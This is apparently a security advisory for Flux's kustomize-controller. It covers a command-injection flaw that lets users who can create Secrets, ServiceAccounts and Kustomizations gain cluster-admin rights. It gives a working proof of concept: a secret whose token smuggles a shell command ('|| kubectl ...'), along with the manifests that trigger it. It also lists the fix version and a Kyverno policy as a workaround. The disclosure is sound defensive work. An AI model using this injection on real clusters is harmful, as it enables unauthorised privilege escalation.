Privilege escalation to cluster admin on multi-tenant environments

Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.

Impact

Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.

Exploit

To exploit the command injection, first we create a secret with a shell command:

kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"

Then we create a Service Account that refers to the above Secret:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: exploit
  namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token

And finally a Kustomization that runs under the above Service Account:

apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
  name: exploit
  namespace: default
spec:
  interval: 5m
  path: "./deploy/"
  sourceRef:
    kind: GitRepository
    name: app
  serviceAccountName: exploit

When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.

Patches

This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image.

Workarounds

To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-sa
spec:
  validationFailureAction: enforce
  background: false
  rules:
    - name: validate-sa
      match:
        resources:
          kinds:
            - ServiceAccount
          namespaces:
            - tenant1
            - tenant2
        subjects:
          - kind: User
            name: [email protected]
          - kind: User
            name: [email protected]
          - kind: ServiceAccount
            name: kustomize-controller
            namespace: flux-system
          - kind: ServiceAccount
            name: helm-controller
            namespace: flux-system
      validate:
        message: "Invalid service account"
        pattern:
          X(secrets): "*?"